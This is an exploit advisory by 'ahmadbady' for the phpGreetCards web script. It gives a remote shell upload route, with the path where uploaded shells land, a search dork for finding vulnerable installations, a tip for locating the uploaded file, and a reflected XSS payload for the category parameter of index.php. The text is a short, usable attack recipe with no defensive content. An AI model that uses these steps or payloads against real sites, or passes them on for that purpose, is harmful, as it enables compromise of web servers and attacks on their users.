phpGreetCards XSS / File Upload

`...................................................................................................  
  
****(remote shell upload/xss)****  
  
script: phpGreetCards  
  
***************************************************************************  
download from:http://www.w2b.ru/download/phpGreetCards.zip  
  
***************************************************************************  
www.site.com/path/index.php?mode=select&category  
  
shell: www.site.com/path/userfiles/number_shell.php  
-----------------------------------------------------------------------------------------  
dork:"powered by phpGreetCards"  
  
if folder userfiles is forbidden  
after get upload file u do right-click and see image properties and u see address file.  
  
------------------------------------------------------------------------------------------  
xss:  
index.php?mode=select&category=>"><ScRiPt%20%0a%0d>alert(0)%3B</ScRiPt>   
**************************************************  
  
  
Author: ahmadbady   
  
**************************************************  
  
  
`